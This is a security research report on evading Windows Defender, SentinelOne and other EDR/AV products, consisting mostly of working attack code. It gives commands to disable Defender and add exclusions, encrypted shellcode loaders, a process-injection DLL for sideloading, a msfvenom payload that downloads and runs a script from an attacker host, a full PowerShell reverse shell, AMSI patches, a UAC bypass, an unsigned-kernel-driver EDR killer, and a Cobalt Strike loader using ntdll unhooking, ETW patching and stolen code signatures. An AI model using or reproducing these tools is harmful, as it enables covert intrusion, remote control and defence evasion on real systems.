esc

EDR & AV Bypass Techniques

📅 Last Updated: Mar 09, 2026 11:00 | 📄 Size: 33.0 KB | 🎯 Type: Security Research Report | 🔗 Back to Categories

Interacting with Defender

Defender Module for PowerShell

  1. status details about antimalware software (including Microsoft Defender Antivirus) on the computer.
Get-MpComputerStatus
  1. history of threats detected on the computer
Get-MpThreat
  1. history of threats detected on the computer using ThreaID
Get-MpThreatDetection -ThreatID
  1. enable/disable real-time protection (works if Tamper protection if OFF)
Set-MpPreference -DisableRealTimeMonitoring $true
#Verify if it was Disabled 
Get-MpComputerStatus | Select-Object RealTimeProtectionEnabled
  1. Restore quarantined files using MpCmdRun.exe (run from elevated PowerShell) List all quarantined items:
& "C:\Program Files\Windows Defender\MpCmdRun.exe" -Restore -ListAll

If the file appears in the output, restore it using the detected threat name:

& "C:\Program Files\Windows Defender\MpCmdRun.exe" -Restore -Name "ThreatName"

Replace "ThreatName" with the exact threat name shown in the previous command output. This may allow local restoration if enterprise policy does not block it. 6. Exclude paths from AV detection (works with enterprise too if policy is not enforced )

Add-MpPreference -ExclusionPath C:\path
#verify if it was excluded : 
Get-MpPreference | Select -ExpandProperty ExclusionPath

Evading Static Analysis of an EDR & AV

  1. we need to scan what triggers the AV : using  ThreatCheck it  works by splitting a file into chunks and subsequently making Microsoft Defender Antivirus scan them until it finds that triggers a detection.

Method 1 : AES Encryption

Obfuscated Files or Information, Technique T1027 - Enterprise | MITRE ATT&CK® First we need to encrypt the payload and then it decypt during run time using the following C#

using System;
using System.Security.Cryptography;
using System.Runtime.InteropServices;

namespace NotMalware
{
    internal class Program
    {
        [DllImport("kernel32.dll")] static extern IntPtr VirtualAlloc(IntPtr a, uint b, uint c, uint d);
        [DllImport("kernel32.dll")] static extern IntPtr CreateThread(IntPtr a, uint b, IntPtr c, IntPtr d, uint e, IntPtr f);
        [DllImport("kernel32.dll")] static extern uint WaitForSingleObject(IntPtr h, uint ms);

        static void Main(string[] args)
        {
            // (msfvenom -p windows/x64/meterpreter/reverse_http LHOST=... LPORT=... -f csharp) or generate it using C2 as raw 
            byte[] buf = new byte[] { 0xfc, 0x48, ........... };


            // Encyption key and IV can be modified 
            byte[] key = new byte[16] { 0x1f, 0x76, 0x8b, 0xd5, 0x7c, 0xbf, 0x02, 0x1b, 0x25, 0x1d, 0xeb, 0x07, 0x91, 0xd8, 0xc1, 0x97 };
            byte[] iv = new byte[16] { 0xee, 0x7d, 0x63, 0x93, 0x6a, 0xc1, 0xf2, 0x86, 0xd8, 0xe4, 0xc5, 0xca, 0x82, 0xdf, 0xa5, 0xe2 };
            Aes aes = Aes.Create();
            ICryptoTransform encryptor = aes.CreateEncryptor(key, iv);
            byte[] encrypted;
            using (var ms = new System.IO.MemoryStream())
            using (var cs = new CryptoStream(ms, encryptor, CryptoStreamMode.Write))
            {
                cs.Write(buf, 0, buf.Length);
                cs.FlushFinalBlock();
                encrypted = ms.ToArray();
            }

            // Decrypt
            ICryptoTransform decryptor = aes.CreateDecryptor(key, iv);
            byte[] shellcode;
            using (var ms = new System.IO.MemoryStream(encrypted))
            using (var cs = new CryptoStream(ms, decryptor, CryptoStreamMode.Read))
            using (var plain = new System.IO.MemoryStream())
            {
                cs.CopyTo(plain);
                shellcode = plain.ToArray();
            }
            IntPtr mem = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, 0x3000, 0x40);
            Marshal.Copy(shellcode, 0, mem, shellcode.Length);
            WaitForSingleObject(CreateThread(IntPtr.Zero, 0, mem, IntPtr.Zero, 0, IntPtr.Zero), 0xFFFFFFFF);
        }
    }
}

running SentinelOne against the compiled malware results in a "No threat found!"

Scan start time: 2026-03-03T14:47:15.954+00:00
Scan end time: 2026-03-03T14:47:18.248+00:00
Scanned: C:\Users\BilalTarfouss\Desktop\test.exe
Scan triggered by: Right-Click
Total files scanned: 1
Malicious files (count: 0)
Excluded malicious files (count: 0)
Scan was completed successfully

Evading Dynamic Analysis of an EDR & AV

Because attackers can often evade static analysis, Microsoft Defender Antivirus also employs dynamic analysis. Memory scans of a process can be triggered by events like the creation of a new process or the detection of suspicious activity.

Option 1: Writing Custom Tools

When using custom tools, static and behavioral analysis are generally less effective, as the tools do not match any known malicious signatures.

First we use an encrypter to encrypt our payload




#include <iostream>
#include <fstream>
#include <vector>
#include <string>

// Function to XOR encrypt the buffer using the provided key
void xorEncrypt(std::vector<unsigned char>& buf, const std::string& key) {
    size_t keyLen = key.length();
    for (size_t i = 0; i < buf.size(); ++i) {
        buf[i] ^= key[i % keyLen];
    }
}

int main(int argc, char* argv[]) {
    if (argc < 4) {
        std::cerr << "Usage: " << argv[0] << " <input_shellcode> <xor_key> <output_file>" << std::endl;
        return 1;
    }

    std::string inputFile = argv[1];
    std::string key = argv[2];
    std::string outputFile = argv[3];

    // Open input shellcode file
    std::ifstream file(inputFile, std::ios::binary);
    if (!file) {
        std::cerr << "Error: Cannot open input file." << std::endl;
        return 1;
    }

    // Read the file into a buffer
    std::vector<unsigned char> buf((std::istreambuf_iterator<char>(file)), std::istreambuf_iterator<char>());
    file.close();

    if (buf.empty()) {
        std::cerr << "Error: Input shellcode file is empty." << std::endl;
        return 1;
    }

    // XOR encrypt the buffer
    xorEncrypt(buf, key);

    // Write XORed shellcode to output file
    std::ofstream outFile(outputFile, std::ios::binary);
    if (!outFile) {
        std::cerr << "Error: Cannot create output file." << std::endl;
        return 1;
    }

    outFile.write(reinterpret_cast<char*>(buf.data()), buf.size());
    outFile.close();

    std::cout << "[+] Shellcode encrypted and saved to: " << outputFile << std::endl;

    return 0;
}

Payload :

msfvenom -p windows/x64/exec CMD="powershell -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://192.168.159.128/s.ps1')" -f raw -o ps_exec.bin

Compile it and run it as :

└─$ ./XORer -h
Usage: ./XORer <input_shellcode> <xor_key> <output_file>
#Example : 
./XORer ps_exec.bin SPINAEVERYENCRYPTED ps_exec.enc

Next we need our Loader

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winternl.h>
#include "resource.h"

#define _CRT_SECURE_NO_DEPRECATE
#pragma warning (disable : 4996)

#pragma comment(linker, "/export:SystemFunction001=C:\\Windows\\System32\\cryptbase.SystemFunction001,@1")
#pragma comment(linker, "/export:SystemFunction002=C:\\Windows\\System32\\cryptbase.SystemFunction002,@2")
#pragma comment(linker, "/export:SystemFunction003=C:\\Windows\\System32\\cryptbase.SystemFunction003,@3")
#pragma comment(linker, "/export:SystemFunction004=C:\\Windows\\System32\\cryptbase.SystemFunction004,@4")
#pragma comment(linker, "/export:SystemFunction005=C:\\Windows\\System32\\cryptbase.SystemFunction005,@5")
#pragma comment(linker, "/export:SystemFunction028=C:\\Windows\\System32\\cryptbase.SystemFunction028,@6")
#pragma comment(linker, "/export:SystemFunction029=C:\\Windows\\System32\\cryptbase.SystemFunction029,@7")
#pragma comment(linker, "/export:SystemFunction034=C:\\Windows\\System32\\cryptbase.SystemFunction034,@8")
#pragma comment(linker, "/export:SystemFunction036=C:\\Windows\\System32\\cryptbase.SystemFunction036,@9")
#pragma comment(linker, "/export:SystemFunction040=C:\\Windows\\System32\\cryptbase.SystemFunction040,@10")
#pragma comment(linker, "/export:SystemFunction041=C:\\Windows\\System32\\cryptbase.SystemFunction041,@11")

const char key[] = "SPINAEVERYENCRYPTED";

void DecryptShellcode(BYTE* data, DWORD size) {
    int keyLength = sizeof(key) - 1;
    for (DWORD i = 0; i < size; i++) {
        data[i] ^= key[i % keyLength];
    }
}

void InjectShellcodeIntoNotepad() {
    STARTUPINFO si = { sizeof(si) };
    PROCESS_INFORMATION pi;

    if (!CreateProcess(L"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
        return;
    }

    HMODULE hModule = NULL;
    if (!GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS, (LPCTSTR)InjectShellcodeIntoNotepad, &hModule)) {
        return;
    }

    HRSRC resHandle = FindResource(hModule, MAKEINTRESOURCE(IDR_SHELL1), L"SHELL");
    if (!resHandle) {
        return;
    }

    DWORD resSize = SizeofResource(hModule, resHandle);
    HGLOBAL resData = LoadResource(hModule, resHandle);
    void* resPtr = LockResource(resData);
    if (!resPtr || resSize == 0) {
        return;
    }

    BYTE* pShellcode = (BYTE*)VirtualAlloc(0, resSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (pShellcode == NULL) {
        return;
    }

    memcpy(pShellcode, resPtr, resSize);
    DecryptShellcode(pShellcode, resSize);

    LPVOID pRemoteShellcode = VirtualAllocEx(pi.hProcess, NULL, resSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!pRemoteShellcode) {
        VirtualFree(pShellcode, 0, MEM_RELEASE);
        return;
    }

    SIZE_T bytesWritten = 0;
    if (!WriteProcessMemory(pi.hProcess, pRemoteShellcode, pShellcode, resSize, &bytesWritten)) {
        VirtualFree(pShellcode, 0, MEM_RELEASE);
        return;
    }

    HANDLE hThread = CreateRemoteThread(pi.hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteShellcode, NULL, 0, NULL);
    if (!hThread) {
        VirtualFree(pShellcode, 0, MEM_RELEASE);
        return;
    }

    CloseHandle(hThread);
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    VirtualFree(pShellcode, 0, MEM_RELEASE);
}

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH:
        InjectShellcodeIntoNotepad();
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

Can be used with visual studio > Dll Linker Also make sure to add our ps_exec.enc to the resources and name it SHELL

after that build

and it shold generate a Load.dll now we need a DLL loader for that we will utilize 7zip

# dll loader
https://www.7-zip.org/download.html

we download the standalone version and then we rename our Loader to cryptbase.dll and put it in the same directory with 7zip.exe

Now for us to receive a revshell , we need to create a ps1 file on our host and expose as we used in the payload generation .

┌──(kali㉿kali)-[~/Desktop/spinae/AV-BYPASS]
└─$ cat s.ps1 
$client = New-Object Net.Sockets.TCPClient("192.168.159.128",4444)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){
  $data = (New-Object Text.ASCIIEncoding).GetString($bytes,0,$i)
  $sendback = (iex $data 2>&1 | Out-String)
  $sendback2 = $sendback + "PS " + (pwd).Path + "> "
  $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
  $stream.Write($sendbyte,0,$sendbyte.Length)
  $stream.Flush()
}
$client.Close()


┌──(kali㉿kali)-[~/Desktop/spinae/AV-BYPASS]
└─$  python3 -m http.server 80 
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...



now we run 7z.exe

and we noticed it runs on the background

Mapping to MITRE ATT&CK :

on the tool built , i have used all those techniques to be able to bypass the protection of the anti virus and receive a RevShell ...

Portable Executable Injection

Portable Executable Injection is a technique in which an attacker inserts their code into the memory space of a target process and executes it from there. This can be accomplished in several ways, but the most commonly used approach relies on the following WinAPI functions:

For our tool, we combined three techniques. First, we allocate memory in the Notepad process using VirtualAlloc. Next, we write the decrypted shellcode into the allocated memory with WriteProcessMemory. Finally, we create a remote thread inside the Notepad process using CreateRemoteThread to execute the shellcode.

Antimalware Scan Interface

Impair Defenses: Disable or Modify Tools, Sub-technique T1562.001 - Enterprise | MITRE ATT&CK®

Bypass AMSI in PowerShell

Bypassing AMSI makes it easier to perform malicious actions, as the commands being executed do not get scanned.

Bypass 1 :String Manipulation

All that this bypass does, is it sets amsiInitFailed to true so that the method ScanContent will always return AMSI_RESULT_NOT_DETECTED. Regardless that the original bypass is detected

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

Bypass 2: Patching amsiScanBuffer

Using the following PowerShell code, we can load amsi.dll, retrieve the address of AmsiScanBuffer, and overwrite its initial bytes with our shellcode.

Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public static class Kernel32 {
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string lpLibFileName);
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@;
$patch = [Byte[]] (0xB8, 0x05, 0x40, 0x00, 0x80, 0xC3);
$hModule = [Kernel32]::LoadLibrary("amsi.dll");
$lpAddress = [Kernel32]::GetProcAddress($hModule, "Amsi"+"ScanBuffer");
$lpflOldProtect = 0;
[Kernel32]::VirtualProtect($lpAddress, [UIntPtr]::new($patch.Length), 0x40, [ref]$lpflOldProtect) | Out-Null;
$marshal = [System.Runtime.InteropServices.Marshal];
$marshal::Copy($patch, 0, $lpAddress, $patch.Length);
[Kernel32]::VirtualProtect($lpAddress, [UIntPtr]::new($patch.Length), $lpflOldProtect, [ref]$lpflOldProtect) | Out-Null;

User Account Control

Abuse Elevation Control Mechanism: Bypass User Account Control, Sub-technique T1548.002 - Enterprise | MITRE ATT&CK® Bypassing User Account Control (UAC) involves elevating the integrity level of a process while already having control over a user who is a member of the local Administrators group.

according to this research article by Elastic:

  • UAC Bypass via DiskCleanup Scheduled Task Hijack
  • UAC Bypass via FodHelper Execution Hijack

Bypass : DiskCleanup Scheduled Task Hijack

PoC :

Since the executable path relies on the %windir% environment variable, altering this variable allows us to influence which program SilentCleanup ultimately launches, potentially resulting in a User Account Control bypass.

Assume that RShell.exe has been placed in C:\Windows\Tasks\. By redefining %windir% as follows (note the trailing space):

cmd.exe /K C:\Windows\Tasks\RShell.exe <IP> 8080 & REM

the constructed execution path would effectively become:

cmd.exe /K C:\Windows\Tasks\RShell.exe <IP> 8080 & REM \system32\cleanmgr.exe /autocleanstoragesense /d %systemdriv...

Because REM denotes a comment in Windows command syntax, everything following it is ignored. As a result, SilentCleanup would execute RShell.exe with a high integrity level instead of the intended binary.

clean up after the bypass :

Clear-ItemProperty -Path "HKCU:\Environment" -Name "windir" -Force

LOLBAS: # RunDll32

[MITRE ATT&CK](System Binary Proxy Execution: InstallUtil, Sub-technique T1218.004 - Enterprise | MITRE ATT&CK®) Another widely used evasion method is known as “living off the land” (LOTL). This technique involves leveraging legitimate binaries that are already present on the target system to perform malicious actions, often helping attackers evade detection mechanisms such as AppLocker.

A valuable reference for this approach is the LOLBAS project, which provides a searchable database of Microsoft-signed binaries and documents the different ways they can be misused.

For instance, if the objective is to execute arbitrary code (such as bypassing AppLocker), one could search for “/execute” within the database and review the associated binaries to understand how each technique functions.

RunDll32

RunDll32 is a standard Microsoft binary which comes with Windows. The utility may be used to load and execute dynamic-link libraries (DLLs). It is typically located at:

  • 32-bit: C:\Windows\SysWOW64\rundll32.exe
  • 64-bit: C:\Windows\System32\rundll32.exe
PS C:\windows\System32> Get-AppLockerPolicy -Effective | Test-AppLockerPolicy -Path C:\Windows\System32\rundll32.exe

FilePath                           PolicyDecision MatchingRule
--------                           -------------- ------------
C:\Windows\System32\rundll32.exe AllowedByDefault


PS C:\windows\System32>

Bypassing AV & Applocker with RunDll32

Theory Let’s examine how arbitrary code can be executed using RunDll32. Building on the previous example, we can adapt RShell to function with RunDll32. This approach is flexible and can be adjusted to work with many different tools.

To begin, create a new Visual Studio project using the Class Library (.NET Framework) template and name it RShell_D.

By default, .NET assemblies do not allow exporting DLL methods because they consist of managed code. Managed code runs under the supervision of the .NET Common Language Runtime (CLR), whereas unmanaged code is executed directly by the operating system. Since RunDll32 requires exported functions, this presents a limitation.

To overcome this, we can use a project called DllExport, which enables method exporting from .NET assemblies. After adding the appropriate NuGet package to the project, the required export functionality becomes available.

Once configured, we can structure the payload using a simple template. Any method marked with [DllExport("FunctionName")] will be exported during compilation. For example:

namespace RShell_D
{
    internal class Program
    {
        [DllExport("DllMain")]
        public static void DllMain()
        {
            // CODE EXECUTION
        }
    }
}

Adapting the previous RShell implementation to this structure involves a few changes:

  • Removing string[] args from the entry method
  • Hardcoding the IP address and port into the TCP connection
  • Adjusting the PowerShell path to use the 32-bit version if required

As example :

[DllExport("DllMain")]
public static void DllMain()
{
    try
    {
        TcpClient client = new TcpClient();
        client.Connect("10.10.10.10", 1010);

        p.StartInfo.FileName = "C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe";
    }
    catch { }
}

After completing the implementation, switch the build configuration from Debug to Release. If targeting the 64-bit version of PowerShell, ensure the platform is set to x64 instead of Any CPU.

Once compiled, the exported function can be invoked using RunDll32:

C:\Windows\System32\RunDll32.exe C:\Tools\RShell_D\RShell_D\bin\Release\x86\RShell_D.dll,DllMain

When executed successfully, this approach allows code execution via a trusted Windows binary, effectively bypassing certain application control and real-time protection mechanisms.

This maps to:

[System Binary Proxy Execution](System Binary Proxy Execution, Technique T1218 - Enterprise | MITRE ATT&CK®)

More specifically: [Signed Binary Proxy Execution: Rundll3](System Binary Proxy Execution: Rundll32, Sub-technique T1218.011 - Enterprise | MITRE ATT&CK®)

Using Kernel Level to kill EDR & AV

Because this build is sensitive and can damage the system, I’m providing the compiled executable together with the kernel .sys file instead of rebuilding it. First, enable Windows debug mode. Open WinDbg → File → Attach to Kernel → Local Kernel Debugging. In the lkd> prompt:

Reload Code Integrity:

.reload CI.dll

Locate the CI options variable:

x CI!g_CiOptions

Copy the returned address, then dump its value:

dps <address> L1

Modify the value to 0:

ed <address> 0

This disables Code Integrity checks, allowing a non‑Microsoft‑signed kernel driver to load.

Then load the .sys driver:

sc.exe create Driver1 type=kernel binPath="C:\Path\To\Driver1.sys"  
sc.exe start Driver1

From an elevated command prompt:

Com.exe

Available command:

kill <pid>

Terminates a process from kernel mode using its PID.

Which maps to the following mitre attack 🔹 Disable / Modify Security Controls T1562.001 – Impair Defenses: Disable or Modify Tools 🔹 Modify Registry / System Settings (Security Bypass Context) T1112 – Modify Registry (if persistence/debug flags are set via registry) 🔹 Exploitation for Privilege Escalation T1068 – Exploitation for Privilege Escalation

  • Abusing kernel-level access to gain higher privileges 🔹 Rootkit T1014 – Rootkit
  • Loading an unsigned kernel driver to manipulate kernel behavior 🔹 Process Termination T1489 – Service Stop
  • Using kernel driver to terminate protected processes (e.g., security tools)

During the research, I came across numerous techniques. However, many of them are no longer effective, so I narrowed the results down to only the methods that are still functional.

However , the techniques i didn't cover are and not limited to :

  • Bypassing ConstrainedLanguage Mode by Downgrading to PowerShell 2.0
  • Bypassing ConstrainedLanguage Mode with Runspaces
  • Executing Code with InstallUtil (LOLBAS)
  • FodHelper Execution Hijack
  • XOR Encryption (static analysis ) we used a better encryption "AES"

Spinae Custom EDR Bypass Loader

Overview

The technique combines four independent layers of protection into a single pipeline. No individual layer is sufficient on its own , it is their combination that results in a fully undetected implant under SentinelOne.

The pipeline is:

Raw shellcode (Cobalt Strike beacon)
        ↓
   AES-256-CBC encryption
        ↓
   Go loader generation (ntdll unhook + ETW patch + NT syscall exec)
        ↓
   Garble obfuscation of the compiled binary
        ↓
   Certificate spoofing via SigThief
        ↓
   agent_final.(dll or exe)

Layer 1 : AES-256-CBC Payload Encryption

Why EDR cares: EDRs and AV engines maintain signature databases of known shellcode patterns. Raw Cobalt Strike beacons are immediately flagged on disk and in memory because their byte sequences are well documented.

Why encryption beats it: When the shellcode is AES-256-CBC encrypted before being embedded, the binary contains no recognizable shellcode pattern at rest. The ciphertext is statistically uniform , it looks like random noise to a scanner. Decryption only happens in memory at runtime, after the loader has already bypassed the hooks that would trigger memory scanning.

The key and IV are generated fresh per build, so every output binary has a unique ciphertext , defeating hash-based and byte-pattern detection entirely.


Layer 2 : ntdll Unhooking via Suspended Process

The vulnerability: EDRs operate by hooking the Windows API. When ntdll.dll is loaded into a process, the EDR's kernel driver overwrites the first bytes of sensitive syscall stubs (e.g. NtAllocateVirtualMemory, NtWriteVirtualMemory, NtCreateThreadEx) with a JMP instruction that redirects execution into the EDR's inspection module before the real syscall fires. This is how SentinelOne or almost all EDR's intercepts memory allocation and thread creation events.

Why the unhook works: When Windows spawns a new process, it maps a clean, unhooked copy of ntdll into that process's address space directly from disk , before the EDR's kernel driver can patch it. Spinae exploits this window:

  1. A sacrificial process (e.g. notepad.exe) is spawned in a suspended state.
  2. ReadProcessMemory reads the clean .text section of ntdll from the suspended process , this copy has never been touched by the EDR.
  3. WriteProcessMemory overwrites our own process's hooked ntdll .text section with the clean copy.

After the unhook, every NT function in our process calls the real kernel stub directly. The EDR's JMP patches are gone. All subsequent allocation and execution is invisible to userland hooks.


Layer 3 : ETW Patching

The vulnerability: Event Tracing for Windows (ETW) is a kernel-level telemetry mechanism. EDRs subscribe to ETW providers (specifically Microsoft-Windows-Threat-Intelligence) to receive real-time notifications of suspicious memory operations , even when userland hooks are bypassed. Functions like EtwEventWrite, EtwEventWriteFull, EtwEventRegister, and EtwNotificationRegister in ntdll are responsible for dispatching these events.

Why the patch works: All four ETW dispatch functions are overwritten in memory with:

xor rax, rax   ; 48 33 C0
ret            ; C3

This makes every ETW call return immediately with a success code (0) and emit nothing. SentinelOne's telemetry pipeline receives no events from our process for the duration of execution.

The patch targets ntdll directly , it does not require any driver or kernel access, and it operates entirely in userland.


Layer 4 : Native Syscall Execution (NT API)

Why the Win32 API is dangerous to use: High-level Win32 functions like VirtualAllocEx, WriteProcessMemory, and CreateRemoteThread are the primary targets for EDR hooks because they are the documented interface that malware uses. Even after ntdll is unhooked, calling these functions leaves a clearly suspicious call chain in the process's call stack.

Why NT syscalls are better: Spinae skips the Win32 layer entirely and calls the underlying NT native API directly:

Win32 (hooked / monitored) NT Native (used by Spinae)
VirtualAllocEx NtAllocateVirtualMemory
WriteProcessMemory NtWriteVirtualMemory
VirtualProtectEx NtProtectVirtualMemory
CreateRemoteThread NtCreateThreadEx

These functions are one layer below Win32 , they are the actual syscall wrappers in ntdll that Win32 calls internally. After the ntdll unhook, they resolve directly to the kernel without passing through any EDR inspection layer.

Memory is allocated RW, shellcode is written, then permissions are flipped to RX immediately before thread creation , minimising the window during which executable writable memory exists.


Layer 5 : Binary Obfuscation with Garble

Why compiled Go is still detectable: Go binaries embed full symbol tables, function names, import paths, and string literals by default. A tool like strings, Ghidra, or Detect-It-Easy can immediately identify a Spinae loader by its function names, template strings, or package paths. SentinelOne's static engine can flag it the moment it touches disk.

Why garble defeats it: garble is a Go build wrapper that:

  • Renames every symbol, function, type, and variable to randomised identifiers
  • Encrypts all string literals , they are decrypted at runtime, never present in the binary as plaintext
  • Uses a fresh random seed per build so no two compiled binaries share the same byte pattern

The result is a binary where no symbol names, no strings, and no recognisable code structure remain. strings agent_final.dll returns nothing meaningful. Ghidra sees only random function names. Yara rules based on Freeze's known strings do not match.


Layer 6 : Code Signing with SigThief

Why signatures matter: Windows and most EDRs assign higher trust to binaries signed by a known certificate authority. An unsigned DLL loaded via rundll32 or sideloading triggers additional scrutiny. SentinelOne uses certificate metadata as one signal in its trust scoring.

The technique: SigThief copies the Authenticode signature block from a legitimately signed binary (in our case AnyDesk.exe, signed by philandro Software GmbH) and appends it to the loader DLL.

python3 sigthief.py -i AnyDesk.exe -t MAlware.exe -o Malware.exe

The certificate thumbprint transfers: D056FB932C5A4821C328214E4F4988436650583A. Windows will report HashMismatch because the binary content does not match the signature , but many EDRs check for certificate presence rather than performing full chain validation at load time. The spoofed signature raises the trust score of the binary enough to reduce scrutiny on initial execution.


Deployment & Result

The final loader was generated with:

./Spinae -I beacon.bin -E -O Malware.exe
python3 sigthief.py -i AnyDesk.exe -t update_service.dll -o agent_final.dll

On execution, the full chain fires in sequence:

exe loaded → ntdll unhooked → ETW patched → shellcode decrypted in memory
→ NT native alloc → NT native write → RW→RX flip → NtCreateThreadEx
→ Cobalt Strike beacon established

Outcome under SentinelOne:

Check Result
Static scan on disk ✅ No detection
On-execution behavioral analysis ✅ No detection
Beacon process running ✅ malware.exe PID 18492
getsystem ✅ NT AUTHORITY\SYSTEM
Post-exploitation (hashdump, mimikatz) ❌ Blocked by tamper protection

The bypass demonstrates that SentinelOne's userland hooks are completely defeatable by combining ntdll unhooking with ETW patching. However, its kernel-level tamper protection (protecting its own agent process and blocking sensitive operations like LSASS access) remained effective even at SYSTEM level , confirming that the protection boundary has moved from userland into the kernel.